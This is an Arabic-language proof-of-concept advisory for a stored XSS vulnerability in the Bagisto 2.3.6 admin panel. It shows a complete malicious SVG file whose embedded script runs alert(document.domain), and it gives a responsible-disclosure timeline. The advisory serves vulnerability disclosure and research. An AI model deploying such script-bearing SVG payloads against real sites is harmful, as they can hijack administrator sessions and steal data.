
إثبات مفهوم لثغرة XSS مخزنة في لوحة تحكم Bagisto، مع توضيح رفع ملفات SVG تحتوي على JavaScript خبيث وتقديم توصيات للتخفيف من المخاطر.
توجد ثغرة تخزين XSS موثّقة في مسار إنشاء المنتجات بلوحة تحكم Bagisto 2.3.6، مما يسمح للمهاجم برفع ملف SVG معدّ يحتوي على كود JavaScript خبيث. يمكن استغلال هذه الثغرة بواسطة مستخدم إداري موثّق لتنفيذ JavaScript تعسفي في المتصفح، مما قد يؤدي إلى اختطاف الجلسة، أو سرقة البيانات، أو إجراءات غير مصرح بها.
تُستغل الثغرة عندما يقوم مسؤول موثّق برفع ملف SVG معدّ يحتوي على JavaScript خبيث.
خطوات إعادة الإنتاج:
مثال على حمولة SVG خبيثة:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
| التاريخ | الإجراء |
|---|---|
| أغسطس 2025 | اكتشاف الثغرة |
| أغسطس 2025 | الإفصاح المسؤول |
| أغسطس 2025 | طلب معرف CVE من MITRE |
| أكتوبر 2025 | تعيين CVE، الإفصاح العام |
المعلومات وكود إثبات المفهوم (PoC) المقدَّم في هذا المستودع مخصصة لأغراض تعليمية وبحثية أخلاقية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن المعلومات أو الكود المقدَّم هنا. يتحمل المستخدم كامل المسؤولية عن أفعاله. تقع على عاتق المستخدم مسؤولية ضمان الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها.